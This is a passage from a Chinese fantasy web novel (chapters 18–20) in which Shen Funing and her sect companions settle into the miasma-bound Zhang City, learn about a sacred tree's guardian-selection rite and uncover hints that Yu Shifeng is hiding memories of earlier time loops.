沈复宁配合地朝着身边离她最近的俞时逢的背上,狠狠拍了两下,她也没收着劲,那两下绝对能在他身上留下几日的印子。 “你看。”尤璟脸上挂着笑,眼神却无波无澜的,继续说:“她不止打你,情绪一上来,谁都逃不开她的毒手。” “对的,对的。”姜柳依兴奋的附和了两声,甚至将自己的袖子捋到手肘处,指着之前与九婴对战留下的淤青,一幅过来人的样子,对她说:“你看,这都是当初她打我留下的痕迹。” 说着,叹了口气,语气中带上了点羡慕,“也就是你了,她也只是吓唬吓唬,没真的动手了。” “……”你在羡慕什么?岑倪不懂。 她只听出来,这几人你一言我一语的将她受欺负的事情变成了一个笑话,慢慢攥紧了拳头。 尤璟自然是没有错过她的动作,却也没再说什么,总归,沈复宁不会栽在这个小丫头身上,她不让岑倪吃个闷亏都算她多了善心,没再找麻烦了。 “嗯……”岑倪沉思了会儿,看了眼沈复宁,又对尤璟说:“那这样是不是一种病啊?” 沈复宁脸上的笑一滞,其他人顿了下,明白岑倪话中意思,不约而同的脸上挂上了或大或小的笑,尤其是姜柳依,一时没忍住,笑了出声。 尤璟看了沈复宁一眼,犹豫了下,还是打算给对方留点面子,“倒也没有到那种程度。” “怎么会呢?”岑倪像是不懂,看着沈复宁继续说:“如果姐姐真的控制不住自己,最好还是去看一看,要不然最后伤害了人,就不好了。” 沈复宁看了眼快眼憋不住笑意的几人,从牙缝里挤出了句,“谢谢。” 本想着这件事情就到此为止了,谁知道岑倪还来劲了,一个劲的说,之前瘴城里面就有这么一个人,控制不住自己,瘴城里面所有大夫都给他看过,都没治好。 沈复宁无心听这些,姜柳依倒是感兴趣,问了句最后怎么了? “最后?”岑倪低下头,眼中闪过一抹不知名情绪,最后抬眼,对他们说,“我忘记了,这都是好久之前的事情了,我都是听年纪大的公公婆婆闲聊的时候说的。” “这样啊。”几人都没放心上,沈复宁又不是真的有病。 沈复宁倒是没错过岑倪一闪而过的情绪,盯着她看了会儿,说:“妹妹,你忘记了吗?” 岑倪看向她,沈复宁嘴角一勾,继续说:“你哥不是让你带我们去客栈的吗?” 她像是突然想起来一样,随口一说,但是岑倪看着她眼中明晃晃的挑衅,怎么也咽不下这口气。 “行了。”楚予将沈复宁往后拉了一下,“平时出去也不见你这么需要一个人带着。”训过沈复宁之后,又带着歉意对岑倪说:“不打扰了,你去忙吧。” 沈复宁揉着刚刚被楚予捏着的地方,有些无辜地开口:“我这不是觉得有个人陪着更好一点,毕竟我们也是第一次来瘴城,什么风俗习惯都不知道。” 她的眼神在几人身上转了一圈,最后停在楚予身上,“就像,我们也是刚刚才 知道这里是以物换物的交易形式,万一还有什么其他的,我们不知道,犯了忌讳怎么办?” 沈复宁说的确实有道理,但是……楚予看着明显被气到的岑倪,不确定要不要让岑倪跟着一起,还是到了客栈问问其他人。 于是给沈复宁使了眼色,想问她,在岑倪身上发现了什么,人家却恍若无视,一个眼神都不给她。 就在几人不知该如何的情况下,“要不……就听沈复宁的。”许久不出声的姬齐结将手微微举起,带着颤抖说了这么一句话。 几人瞪大了眼睛看着姬齐结,姬齐结将手放下,情不自禁的扣着大拇指,吞了口唾沫,继续说:“我们已经跟瘴城的百姓结怨了,他们也不一定愿意搭理我们。” 几人依旧是刚刚那副模样,除了沈复宁在偷摸给他竖了个大拇指,无声开口,“说得好。” 姬齐结将头往脖子里面缩了缩,看到沈复宁的动作的时候,眼神飘忽。 姬齐结本来就面子薄,看到他略显心虚的眼神,也没多想,只当他说出这两句话勇气便告罄。 身边的几人看着姬齐结恨不得将自己蜷成球,也知道他开始不自在了,咳了两声,也就收了眼神。 花雾姒杵了杵姜柳依,没说话,冲岑倪的方向扬了扬下巴。 虽然不乐意,但姬齐结说的也没错,姜柳依感受到若有若无朝她投过来的视线,认了,看着岑倪,“好妹妹,不如你带我们去吧。”说着,不等她回绝,立刻补充道,“我还想多向你了解了解沈复宁的病情呢。” 沈复宁冲她翻了个白眼,闲逛似的走到她的身边,踩了她一脚。 姜柳依脸色瞬间变得红不红绿不绿的,很是难看,却还是忍着,揽着岑倪的肩,苦笑哈哈的说:“你看,这不就犯病了嘛。” 岑倪真心实意笑了出来,姜柳依这句话明显是取悦到了她,停下了脚步,看了沈复宁一眼。 沈复宁正打算再给姜柳依一脚,并且在思考,自己刚刚是不是下脚有点轻,却被人虚揽着肩带出去了,她看着俞时逢,没好气的问候了一句,“你有病?” 俞时逢弯起了眼,还没说出什么,眼前人就被楚予扯走,远离了他。 沈复宁看着莫名其妙的两个人,一时被气笑了,真诚建议,“要不以后你在我身上拴根绳?” 楚予盯着她看了几秒,认真思考了起来,“不用那么麻烦?”说着,就又要往她身上贴符,沈复宁眼疾手快躲了过去,“不是,不至于吧,小鱼儿。” 楚予给了她个眼神,让她自己感受到底至不至于。 沈复宁无话可说,随便吧。 这时,岑倪态度也软了下来,转过身,就要走。 姜柳依跟上去,语气不解,“不是说好了吗?怎么走了啊。” 岑倪叹了口气,转过身,对她讲,“不是要去客栈?你那方向是反的。” “哦哦。”姜柳依不好意思地挠了挠头,跟着岑倪往前走的同时,回过头,冲跟在身后的人眨了下眼,无声催促,“还不快点跟上。” 18. 第 18 章 沈复宁跟在他们身后,突然想到什么,伸手拉了拉离自己最近的俞时逢的衣袖,凑近问:“你们刚刚怎么付的饭钱?” 俞时逢盯着她松开的地方看了两秒,目光转移到沈复宁脸上,笑着说:“不知道。” 沈复宁蹙眉,抬眼朝他看去,又想到这人也是提前离席的,不知道也是应该的。 快步往前走了两步,转去问她师姐。 “用姜柳依的清瘴丹换的。” 沈复宁若有所思点了点头,既然清瘴丹可以作为交换物,那她画两张屏瘴符用来屏蔽瘴气应该也能换点东西吧。 最大的难题是搞清楚清瘴丹抵御瘴气的原理,然后再看看能不能画出能抵御瘴气的屏瘴符。 她看向走在最前面正在单方面跟岑倪谈笑风生的姜柳依,闭了闭眼,算了,等明天再问吧。 几人跟在岑倪身后,终于到了客栈,推开门,一阵尘灰飞扬。 沈复宁伸出手在最近的桌子上摸了一把,看着手上粘上的厚重灰尘,笑了出来。 抱着臂看向岑倪。 岑倪脸上有些窘迫,声音不稳,“这是我们这里唯一一家客栈了。” 行吧,沈复宁认了,随意的用袖子扫了下椅子上的灰尘,直接坐了下去。 “咳咳。”花少阁主被再度扬起的灰尘刺激的眼泪都要流出来了,不满的看向沈复宁,“你干啥呢?” 沈复宁看着眼泪都要流出来的花雾姒,一滞,不好意思地冲她笑了笑,忘记了,这种地方总会引起大小姐的生理反应。 姜柳依反应倒是迅速,看到沈复宁的动作,下意识就往旁边移了两步,这才让花雾姒直接受到了沈复宁动作的影响。 但又有些害怕大小姐反应过来,悄悄掀起眼皮看了花雾姒一眼,心里有些过意不去,掏出个手帕递了过去。 花雾姒垂眸看着那手帕有些嫌弃。 察觉到花雾姒的目光,姜柳依不乐意了,“这是姨妈给我的。” 听了这,花雾姒将手帕接了过来,用来捂住了自己的鼻子。 两位话事人看着旁边几人的行为,颇有些无语的对视了一眼。 尤璟四处转了转,将刮在墙角的蜘蛛网勾了下来,楚予走到岑倪身旁,问她,“掌柜在哪?” “这儿呢,这儿呢,掌柜的在这儿。” 众人寻着话音望过去,看见一个身上沾染着泥点子的认急急忙忙冲了进来,边跑边说:“不好意思,没想到会来人。” 说着,又走向柜台,在里面翻找,然后将手中的东西放在了台面,随着声音的响起,一道火光出现,随后,光亮转移到了刚刚掌柜的,拿出来的油灯上。 掌柜看着几人目瞪口呆的表情,不好意思的笑了笑,“好久没来过人了,也就没有收拾过,不过放心,房间都是干净的。” 七人尬笑了两声,明显放不下心。 岑倪见掌柜的来了,也就算完成了兄长交代给她的任务了,默不作声地就想往外走。 沈复宁看着她的动作,又看了眼正在跟掌柜交谈的处于,站了起来。 “去哪?” 原是不想搭理的,但转念一想,自己身上好像并没有值得交换的东西,看着他,“一起吗?” 俞时逢眼中荡起笑意,往她那边走了两步,意思很明显了。 “行。”走之前沈复宁扫了眼刚刚眼神粘在她身上的三人,几人纷纷收回视线,做了个噤声的动作。 沈复宁满意的点了点头,感觉对了,再一晃,看着楚予将手放在柜台的动作,下一个动作应该就是转过身,没有丝毫犹豫,抓着俞时逢的手腕就往外跑。 刚好,在楚予转过来的前一刻,逃了出去,四处眺望,最后确定了个方向。 俞时逢默默的看着对方拉着他的手腕往前走,眼中笑意更盛,却不发一言。 终于,沈复宁停下了脚步,看着不遗余力生长的玄榆,情不自禁的松开了俞时逢的手,想要往前走。 俞时逢眼中的遗憾瞬间被警惕取代,急忙拉住了沈复宁的手,嗓子发紧,“不要往前。” 措不及防被人往后扯,沈复宁有些不悦的看着他,希望对方能给个说法。 俞时逢喉结滚了滚,舔了舔开始发干的嘴唇,手指不自然的摩挲。 俞时逢的动作弄的沈复宁有些不自在,将手抽了出来,抬眼看到对方不自然的神色,皱眉,莫名被他感染到了紧张的情绪,拉着他往后退了两步,“怎么了?” 俞时逢看着沈复宁,对方的眼神太过澄澈,自己没有办法糊弄她,但若是什么都不说,自己如此反常,她也肯定不会善罢甘休。 他闭了闭眼,沈复宁看着她,想说些什么,只是一双手突然盖住了她的眼。 俞时逢看着沈复宁下意识想要将手从自己眼上移走的动作,轻声询问:“别动,好吗?” 听着俞时逢带着孤寂的嗓音,神使鬼差的沈复宁只是将手搭在了俞时逢用来捂她眼睛的胳膊上,并没有进行下一步动作。 她耐心的等了会儿,旁边人依旧不发一词。 “我……”终于,俞时逢开了口,只说出一个字,又停了下去。 “你究竟想说什么?”沈复宁不耐烦了起来,搭在俞时逢胳膊上的手却依旧没动。 她清晰的感受到俞时逢的呼吸洒在她脸上,另一只手被他死死的攥在手中,神奇的,沈复宁感受到了俞时逢此刻的情绪。 她反手将对方攥着她的那只手捏在手中,问他:“俞时逢,你在害怕什么?”说着,又将对方捂着自己的手放了下去,看到对方发红的眼眶,一时之间又不知该说些什么。 “你……” “这么巧,在这里遇见你们。”随着一阵铃响,岑贺出现在了他们面前。 沈复宁担忧的看了俞时逢一眼,朝着出现在这里的岑贺笑着点了点头,当作打招呼,再次将目光放在俞时逢身上。 虽然有些不合适,但看着朝他们走过来的岑贺,沈复宁有点想赶人,但是看到对方手腕处多出来的手链,又歇了心思。 岑贺朝着他们走得更近了些,“你们是来看玄榆的啊,那不如走近一些,玄榆不会责怪的。” 沈复宁顺着他的目光,看向玄榆,眼神却再次被那些交缠在一起的云线吸引。 是啊,玄榆怎么会责怪自己保护的人离自己近一点呢。 只是,她环顾四周,这座城的人默 契的将所有生活活动控制到了距玄榆有一段距离的地方,为什么呢? 她看向岑贺,想要得到一个答案。 岑贺嘴角溢出一声笑,随意地说:“敬畏吧。” “敬畏吗?”沈复宁将目光放在玄榆上,想到那日在饭馆说的瘴气被净化的事情时,岑贺莫名露出来的神色,总觉得不会是这个答案。 岑贺不知道她在想什么,对她说:“荫守遴选快开始了,明日这里就要开始布置了。” 又是荫守遴选,这是个什么东西,沈复宁压下心中疑惑,打算明日再过来看看。 “嗯。”沈复宁应了声,感受到手腕被人往后拽了一下,回头看了一眼。 岑贺笑了下,看了眼在后面不发一词的俞时逢,眼神扫过沈复宁被握住的手腕,突然又说,“可以靠近看的。”她又看向沈复宁,“玄榆会很高兴。” 沈复宁不疑有他,玄榆为什么会很高兴,但岑贺的眼神太过诚恳,没有问出来。 “对了,舍妹招待的还好吗?” “挺好的,你布置的任务都完成了。” “这就好。” 岑贺过来好像就是为了说这么一番话,说完便以还有公务要办,就离开了。 身后一直有人在动自己手腕上的手链,沈复宁忍无可忍,转过身,“啪”一声,将俞时逢的手打下。 这一次重来,俞时逢怪里怪气的,对对方的动作有些不放心,抬起手,看着自己的手链,想确认他没有在这上面动手脚。 俞时逢看着她不信任自己的样子,双手往后一摊,无所谓对方的动作。 “行了。”沈复宁看着他,“你刚刚怎么了。” 俞时逢看着她,突然变得正经了起来,问她:“如果有人告诉你,你现在处于一个特别危险的地方,稍有挫折可能万劫不复。” “停。”沈复宁打断了他,“我都万劫不复多少次了,说这些有什么用。” 俞时逢笑了,也是,早都万劫不复了,现在担心又有什么用。 于是,他换了一种说法,“那如果有人不想让你继续呢?” 沈复宁看着他,好像有点明白了对方刚刚害怕的点,缓声问:“你是想拦我吗?” 问完,不等他回答,又说:“没人拦的了我,若是能拦住,早在第二次重来的时候,我就被你困在青屏山了。” 是啊,若是能拦住,当初青屏山的那间草庐也不会变成废墟,那棵陪了师父百年的桃树也不会被拦腰截断。 看着与当初居高临下站在草庐废墟之上望着他一般无二的轻佻表情,说出的话却是截然相反的郑重。 “纵死无归,亦无悔。” 回声在耳边荡起,俞时逢笑了出来,“我哪能拦得住啊。” “你到底知道些什么?” 俞时逢收起脸上的笑,问她,“如果,我说如果,我算计了你,你会怎么做。” “嗯……”沈复宁沉思了会儿,“那只能说明我蠢呗。”她顿了下,继续说,“我知道的话,会掂量着自己处理的。” 俞时逢大笑了起来,笑着笑着眼中竟然泛起了泪花,将沈复宁捞到了怀中,用力的抱了她一下,“抱歉。” 19. 第 19 章 措不及防的动作令沈复宁一顿,垂下的眼眸中多了丝自嘲的意味,却真的不明白谢明榆在为什么道歉。 若是在为之前总是跟踪自己的事情而道歉的话,沈复宁觉得他有点冤,那是自己早就知道的事情,甚至都记不清利用了对方多少次了。 可若是为了算计她的这件事情道歉,那更是无稽之谈了,这几次经历加在一起,看的她都无聊了。 沈复宁又不是真的傻,周围人的动作,多多少少都能感觉到一点,目的是什么,虽然还不清楚,总归是伤不到她的。 更何况,面前这个人,一点算计她的心都没有。 她抬眼看向早早松开手的俞时逢,发自内心的问:“你在为什么道歉?” “为……”俞时逢像是在思考,漆黑的眼睛紧紧盯着沈复宁,想要在她眼睛里面看到哪怕只有一瞬间的委屈,抑或是愤怒。 很可惜,对方的眼睛依旧清澈的一眼能够望到底,以至于,除了那赤裸裸的好奇,什么都没有看见。 “为什么?”沈复宁眼中的探究欲愈发强烈,不同的是带上了一点对俞时逢卖关子的不满。 完全不知道面前这个人此刻有些阴暗地在想,什么时候她的眸子中能漾起与平常全然不同的情绪,要是那个情绪完完全全是因为自己而起的就更好了。 沈复宁眉间多了两道褶皱,抬起手在他眼前晃了晃了,颇为不满地开口:“两次了,俞时逢,仅仅今日。” 俞时逢非但没有因为因为沈复宁愈发严厉,甚至有些生气的语气感到愧疚,甚至笑了起来,颇为赞同的点了点头,“确实。”两次了,一次是擅自将她阻止她靠近玄榆,一次是说了一箩筐莫名其妙的话。 做了,说了,也就算了,只要给出个理由,沈复宁都不会生气,问题就是一次不给理由就算了,但从两人坦白到现在,俞时逢做的几件事情,没有一件是能说出缘由的。 到了现在,依旧装模做样,饶是沈复宁宽宏大量不想计较,这次也忍不了了,抬脚朝他踹了一脚,转身往回走。 俞时逢“嘶”了一声,沈复宁用的力道不可谓不重,他看着自己腿上多出来的脚印,随意拍打了两下,也没管究竟是不是拍打干净了,跑着追上了沈复宁。 “不是要去买衣裳?” 沈复宁看他一眼,没说话。 俞时逢忍俊不禁,接收到沈复宁的眼刀又强压下去,解释道:“我猜的,就是不知道猜的准不准。” 沈复宁给了他个白眼,默默加快了脚步,彻底不理他了。 最后,停在一家裁缝铺,外面卖成衣的店铺都屈指可数,沈复宁对能在这里找到更是不抱希望,在城里面转了这么久,也只见到了这一家裁缝铺。 沈复宁带着希望走进了这家店,幸好,这家店并没有因为这座城与世隔绝而与众不同,里面还是有不少成衣做样衣的。她想的很好,买几件成衣,若是尺寸不合适,也能立刻改一下。 令她没想到的是,等她想要去铺子深处喊店家的时候,看见了明明应该呆在客栈的几个人。 她眼中的诧异毫不掩饰,剩余几人倒是一副早知如此的模样。 沈复宁不解,看向楚予,想让她给个解释,毕竟每到一个地方第一时间会去买衣裳的只有不爱收拾东西的沈复宁,这几个人啥时候有了这习惯了。 尤其是正在跟人商量的花雾姒,这位不是只穿她们韶韵阁的云裳坊做的衣裳,其余的只要穿了就感觉不适的。 “行了。”楚予往她怀里面扔了两件衣裳,“看看,满不满意。” 瘴城的衣裳没什么可挑选的,布料中带有的草木味清晰可闻,应该是经玄榆的汁液浸泡过,剪裁宽松,衣身绣着榆枝暗纹,腰间缝着个布袋,比起瘴城大多数人穿着的暗沉,楚予扔给她的这两件颜色明亮许多。 入乡随俗嘛,沈复宁也不挑,却想逗逗她,“要是我说不满意,能换吗?” “能啊。” 意料之外,没想到楚予能答应,沈复宁睁大了眼,还没回绝,楚予剩下的声音就传了过来,“只是,等你拿上你满意的衣裳之时,我们大概已经不在这里了。” “啊。”沈复宁顺着她的视线看向花雾姒,这才听清楚花雾姒正在跟你交流的是衣裳布料和款式的问题,那气势,看起来,就差现在派个人去韶韵阁喊个云裳坊的人过来,从布料开始,让人给重织件衣裳。 可惜的是,人家店主手里拿着个尺子正认认真真的在给姜柳依身上穿着的衣裳上比划着什么,姜柳依打开更里面的一间门,走了进去,再出来,手里面拿着刚刚穿着的衣裳,递给了店家。 店家将衣裳放在一旁,对着姬齐结重复刚刚在姜柳依身上的动作。 听着花雾姒的话,姜柳依扶了下额头,拿出个丹药,趁对方还在说话的时候,给塞了进去。 “咳咳。”花雾姒扶着姜柳依剧烈的咳嗽了起来,好一会儿,才缓过来,声音嘶哑,“你给我吃的什么?” 这声音太过熟悉了,小时候姜柳依不止一次喂给她吃过这个哑风丹,甚至可以说是这丹药就是姜柳依为她研究出来的,服下丹药者,能够说话,只不过声音变得嘶哑难听,效力只有一刻钟。 对一般人没什么杀伤力,但对花雾姒来说,这一招还不如杀了她,来得痛快。 就比如现在,大小姐明显没有想死的打算,阴沉着脸,右手微微一转,一根笛子出现在她手中,冲着姜柳依勾了下唇,冷笑一声,将笛子拿了起来。 姜柳依有所感一样,立刻捂住了耳朵,却没想到,人家从精神攻击变成了实体攻击,拿着笛子朝她头上重重打了一下,那声音——令在场的所有人倒吸了口凉气,除了那位已经眼冒金星的当事人。 见姬齐结从房间里面走出来,看了眼店家放衣裳的地方,除了花雾姒还没去试,应该就剩下她和俞时逢了。 正准备拿着衣裳往里面走,楚予拉住了她,对她讲,“你不用试?” “嗯?” “这件衣裳正好是你的尺寸,我试过了。” “哦。”正好省事了,挑衅一般,看了俞时逢一眼,又问楚予,“你们怎么都出来买衣裳了?” 楚予看了她一眼,将目光转向正在劝说花雾姒不要多事的尤璟,缓缓说:“你走了没多久,客栈掌柜对我们过几天他们会举办荫守遴选,若是感兴趣的话,最好换上同他们一样的衣裳,能更好感受氛围。” “这样。”沈复宁点点头,表示自己知道了,又问:“他们总是在说荫守遴选,那究竟是做什么的?” “那可是我们瘴城的圣会。”正为给俞时逢裁量尺寸的店家说。 “圣会?” “对啊。”店家一边记一边解释,“这圣会可是我们能够在这里安稳生活的基础。” 店家给他们介绍,荫守遴选是玄榆木伺的择选仪式,到了一定时间,玄榆树下便设下遴选台,凡是城中人皆可报名,经过比试之后再由玄榆选择与它最为匹配的几人,便能成为木伺,受玄榆庇佑,习得抵御瘴气的本事,守护整座城池。 店家介绍的时候,眼中明显冒着光,最后说完,想到了什么,“多亏 了城主,当时研究了这个法子,才能让我们过了这么久的安稳生活。” 沈复宁听着他的介绍,对这个荫守遴选更感兴趣,问他:“那你们这个荫守遴选多长时间进行一次?” “五年。”店家让俞时逢去将衣裳换下去,走向终于换上衣裳走出来的花雾姒,说,“但近几年不知为何瘴气再次隐隐有了弥漫的迹象,跟上次相比,三年未到,城主就决定再次举办了。” “木伺一般都是做什么的?” “一月一次与玄榆交流,净化瘴气,若是城中有人得了什么治不好的病,让木伺带着去玄榆底下,施个法也就好了,很厉害的。” “确实厉害。”听出来店家语气中的骄傲,沈复宁笑了笑。 “我听说你们城中之前有个人得了病,控制不住自己的行为,找了许多大夫还没治好,最后就是靠着木伺施法治好的?” 听到沈复宁说的,店家脸上多了几分唏嘘,“当时确实是好了。” 店家说了这么一句,就没再往下说了,沈复宁皱眉,“当时好了,那现在呢?” 店家脸上多了几分空白,“那我就不知道了。”说了,又像是想到什么,感叹了一句,“那可是我们第一任木伺呢。” “第一任?”沈复宁想不明白了,百年前瘴城的瘴气便因为玄榆的存在而被净化了,可具这位店家所说,瘴气早早便有过复苏的情况,可为什么没人记录。 她看向还趴在桌上缓神的姜柳依,瘴城愿意归属药王谷,占很大原因的是药王谷能够给他们攻击清瘴丹,能够保证哪怕有瘴气的存在也能够与外界交流。 但是,从他们来到瘴城,不论是以物换物的生存方式,还是他们不敢随意离开瘴城的想法,无一不透露药王谷已经许久管过瘴城了。 沈复宁看向店家,又问:“你们启用荫守遴选多长时间了?” “五六十年?大概是吧,也就是我小时候的事情了,都记不清了。”店家摆了摆手,随意的说。 沈复宁暗暗算账,五六十年,也就是说哪怕往最好的方向想,药王谷也已经五六十年没给他们提供过清瘴丹了。 “药王谷早早就将瘴城放弃了。” “你怎么知道。”沈复宁看向俞时逢,各大仙家可能都不知道这件事情,你又是怎么知道的。 “我师父说过。”俞时逢坦然地说。 这样就说得通了,虽然目前还不知道俞时逢的师父是什么人,但他的厉害是连自己师父都自愧不如的。 刹那之间,沈复宁想到了什么,问他,“我见过你师父吗?”她之前去过青屏山,可对俞时逢的师父没有任何印象。 俞时逢没料到她会问这个问题,他其实也不知道,“应该见过吧。” “应该?”沈复宁蹙眉,不满意他这个答案。 俞时逢笑着说:“师父与太初宗关系匪浅,平时闲着没事喜欢到处游荡,据他所说,除了青屏山,呆的最多的地方就是太初宗了。所以是应该,当然,他肯定见过你。” “他肯定见过我,但我未必见过他。”沈复宁低头喃喃道,灵光一闪,突然抬头,看向俞时逢,“所以,算计我的是你师父?” 俞时逢神色一滞,倒是没否认。 “谁算计你。”楚予突然应声,尤璟一个人应付不了矫情起来的花雾姒,在沈复宁与店家交谈的时候,跟着去劝花雾姒了,盯着花雾姒将所有程序做完之后,一出来,看见的就是自家师妹跟俞时逢挨得极尽,低声商讨的样子。 皱着眉凑过去,也就听清了个“算计。” 20. 第 20 章 “这个世界都在算计我。”沈复宁抱着楚予的胳膊,额头抵着她的肩蹭了蹭,故作委屈道。 楚予觉得痒,伸着脖子往后躲了躲,见沈复宁得寸进尺,赶忙伸出手将她的头往旁边推了推。 被推走的沈复宁幽怨的看着自己最亲近的师姐。 楚予被盯得有些不自在,摸了摸自己的鼻尖,眼神四处飘荡,终于看见了换衣裳出来的花雾姒,冲她说:“我去那边看看。” 楚予走了,沈复宁也就收起了脸上的笑,看向一旁神色复杂的俞时逢,刹那之间对上了他的眼神。 “在难过什么呢?”神使鬼差的,沈复宁心中冒出来了这么一句没头没脑的话,更没想到的,她竟然说了出来。 俞时逢收回眼神,神色突然郑重起来,语气却是一如既往的漫不经心,“如果我想带你走应该怎么做?” “啊?”沈复宁不明白,但看着对方认真的样子,给了他一个切实可行的计划,“下毒,打晕,最好是那种让我一醒来发现自己身处异处,并且找不到离开的方法。” 她说的真切,俞时逢可耻的隐隐心动了起来,甚至开始在脑子里面计划了起来。 下毒是不可能的,且不说队伍里面有个药王谷少谷主,稍稍一点毒对方就能发现,还有楚予守着呢,恐怕沈复宁刚倒下,楚予就察觉到了,天神下凡一般,将自己给五花大绑,求生不得,求死不能了。 打晕,那更是不可能的事情,就算真得了机会,只要不能一击得逞,就要做好被她反揍一顿,然后逼着自己将所有事情一吐为快。 让她一醒来就身处异处,俞时逢嘴角勾起带着回味的笑,这个试过,倒是把人给彻底激怒了,对方下手的时候没有丝毫留情。不对,倒还是也留了情面的,最起码没有照脸打。 想到这里,俞时逢满意的摸了摸自己的脸。 沈复宁看着不知为何陷入沉思的俞时逢,缓缓将手放到自己的脸上摸着,看起来对自己这张脸极为自豪。 沈复宁不理解,眼神却不受控制般的飘到了对方的脸上,然后定住,用脚勾了个凳子,坐了上去,颇为欣赏的看着对方的脸。 轮廓锋利硬朗,眼瞳沉敛,眉骨高挺,鼻梁高直,唇线分明,长发简单束在脑后,没有多余修饰,筋骨感分明,确实挺好看。沈复宁心想,若是有一天,自己受不了他下手揍他的时候,可能都舍不得打对方的脸。 就这么想着,脑海中突然涌现出一个片段。 自己与俞时逢分立而战,刚开始还收着力,不过几番周旋,最后有种棋逢对手的爽感,身上的伤好像随着动作开始渗出血迹,攻势却越发凌冽,问问占住上风。 最后,猛地发力,将俞时逢推倒在地。 沈复宁一手攥拳悬于半空,空中悬浮待发的扇与匕首,静静蓄势,随着另一只手中的玉京剑落下,发出了落地的声响。 紧握的拳头偏了一分,没有落在他的脸上,反而是狠狠砸向到了他的锁骨处。 “你是不是脑子出了问题!” 太过熟悉的话语和语气在俞时逢耳边再度响起,不同的是没有随着对方动作而一下下扫过自己的发丝和那因为太过近的距离,而直冲面门的温热呼吸,以及当初谁都没有感受到的,有些缱绻的气氛。 沈复宁的声音有些大,原本还在与店家交流的几人,此刻也静了下来,脑袋齐齐望向了此刻眼神藏不住懵懂的沈复宁。 懵懂?反应过来的几人眨了两下眼,不知道为什么这个词会和沈复宁匹配上,却不妨碍有些人看热闹。 姜柳依不嫌火大的开口:“哟,稀奇,俞时逢还能将你给惹气恼。” “呵,谁知道俩人总偷摸做什么呢。”花雾姒又添了火。 “俞时逢你做什么了?”尤璟真切的询问。 楚予不假思索伸出的手将沈复宁拉到自己身旁,以远离那“罪魁祸首。”以及,姬齐结发自内心的关心,“你,你没事吧。” 沈复宁:“……”就是无语。 俞时逢:“……”低下头,心虚的不敢同沈复宁对视,不知道对方是想起来了,还是真诚的看不惯他。 原本是想跟俞时逢交流一下对他们无语的情绪,结果看到的就是对方装鹌鹑一样,紧紧低下的头。 “呵。”沈复宁冷笑了一声,终于意识到,自己的记忆残缺不全。而俞时逢明显是记忆完全甚至了解内情的人。 姜柳依感受着沈复宁飕飕往外冒的冷气,吞了口唾沫,往外面走了两步,正好被沈复宁的眼神捕捉到,“你往哪走?” 姜柳依搓搓自己的胳膊,看着四周紧闭的窗户,舔了舔嘴唇,寻求认同的看向花雾姒,干巴巴的,“有点冷是吧?” 花雾姒看着姜柳依,觉得她的状态有些不对,皱着眉头,伸手在她额头上摸了下。 “你做什么?”姜柳依不解的看着她。 “没什么。”花雾姒收回手,又略带嫌弃的在姜柳依肩膀上擦了擦手,才将手收回来。 “行了。”楚予拍了下沈复宁的肩膀,又看了眼她不知何时握紧的拳,示意她松开,说,“以后离俞时逢远一点。” “为什么?”沈复宁疑惑,“我发现,刚开始还好,可大比到了后面,你好像就对俞时逢十分警惕,尤其是不愿我同他单独相处。” 楚予张了张嘴,又看了眼依旧低着头的俞时逢,没说出个所以然,只是毫无底气的问了句,“平日你两个师父都是是怎么讲的?” “讲什么?她俩说得话多了,也没告诉我每一句都必须要记得清清楚楚,张口就来。”沈复宁理直气壮反驳。 楚予听出来她的不乐意,有些犹豫的问:“单独和他相处很重要吗?” 沈复宁哑口无言,眼神空白的看着楚予,像是不知道该怎么回答。 楚予满意的带着安抚意味的摸了摸她的头,“既然没有很重要,也就没有必要单独相处。” “不对。”沈复宁再次反驳,“单独相处有必要,我有事情要问他。” “是吗?”楚予眼中闪过一丝精光。 沈复宁莫名有些抗拒楚予这个带着明显探究欲的眼神,并且肯定对方接下来说的话,不会是她想听的。 “我也有事情想问你。”她看着沈复宁飘忽的眼神,缓缓补充,“就比如你的灵力,你在大比中的所作所为。” “小鱼儿。”沈复宁放轻了声音,可怜又委屈的望着楚予,“你一不会这样的。”见楚予不为所动,又大义凛然的说,“人都有自己的隐私,打破砂锅问到底并不是一个值得在关系相处之中值得推崇的行为。” “对,你说得很对。”楚予赞同地点着头,轻轻抚上沈复宁的头发,带着商量和引导同她说:“既然你都知道,也没必要对俞时逢打破砂锅问到底了,对不对。” 沈复宁很想反驳,却在看到楚予逐渐凌厉起来的眼 神之时,口中的反对之话变为了赞同,若不是不合时宜,甚至想为楚予鼓个掌,“对,是这样的。” 表面奉承,却又在心底暗暗想,俞时逢那边怎么能是窥探隐私呢,那明明是我虚心求教,况且,想了解的还是我自己的事情。俞时逢不说,就是他有所隐瞒,我反正问心无愧。 想到这,沈复宁的脊梁挺直了些,看穿了楚予仍不信任的眼神,真挚的说:“放心,我不窥探他的隐私。”我只窥探我自己的隐私。 听到沈复宁的保证,楚予有些意外的挑了下眉,将信将疑的迟疑点点头,夸她,“你能这样想,就对了,等回去的时候,我从师父拿个东西给你,当奖励。” 沈复宁欣然接受了夸奖以及未来不久就会得到的奖励。 “我们走吧。”尤璟将那些店家不肯收的玩意收回乾坤袋,打断了这俩同门之间,她听不下去的幼稚对话,简直就是她哄她门派山脚下的四五岁的孩童语气。 “行。”楚予跟着往外走,不忘问,“什么时候能来拿?” “说是两日后就可以。” 楚予蹙眉,“会不会有点晚。” “还好,店家说三日后荫守遴选才正式开始。” 沈复宁听着身旁几人有一搭没一搭的聊天,抬眼看着已经暗下来的天,眼神却依旧随着在上方气流的涌动的转动。 不死心的拉了下前面的楚予,指着上方,问她,“看到什么没有?” “嗯?”楚予看过去,不明白她在问什么,又害怕沈复宁闹脾气,如实答:“枝叶。” “你呢?”又看向尤璟。 沈复宁明显不满意沈复宁的回答,却也摸不到对方想要的答案,只在楚予的答案上添了个,“夜幕。” “呵。”沈复宁冷笑了下,颓废的松开了楚予的手。 楚予看着被松开的手,觉得沈复宁的情绪不对,问她,“你看到了什么?” 沈复宁皮笑肉不笑,将两人的答案汇总了下,说了出口。 楚予若有所思的看着她,沈复宁将她往前推了推,“行了,赶紧回去吧,我想睡觉。” 楚予回头看了她一眼,最后什么也没说出口,任由她推着自己往前走了两步。 花雾姒看着自从被自己打了一下就变蔫的姜柳依,罕见的开口问了句:“你真的没事?” “我能有什么事?”姜柳依收回落在前方的眼神,变回了平日吊儿郎当的样子,冲花雾姒开口:“你下手真的太重了,我一定会告状的。” 说完,又觉得力度不够,自以为严厉的瞪了她一眼,“你等着吧,姨妈一定会给我报仇的!” 花雾姒翻了个白眼,没理她。 姜柳依不满意,在她耳边喋喋不休了起来。 周围,瞬间变得吵闹了起来。 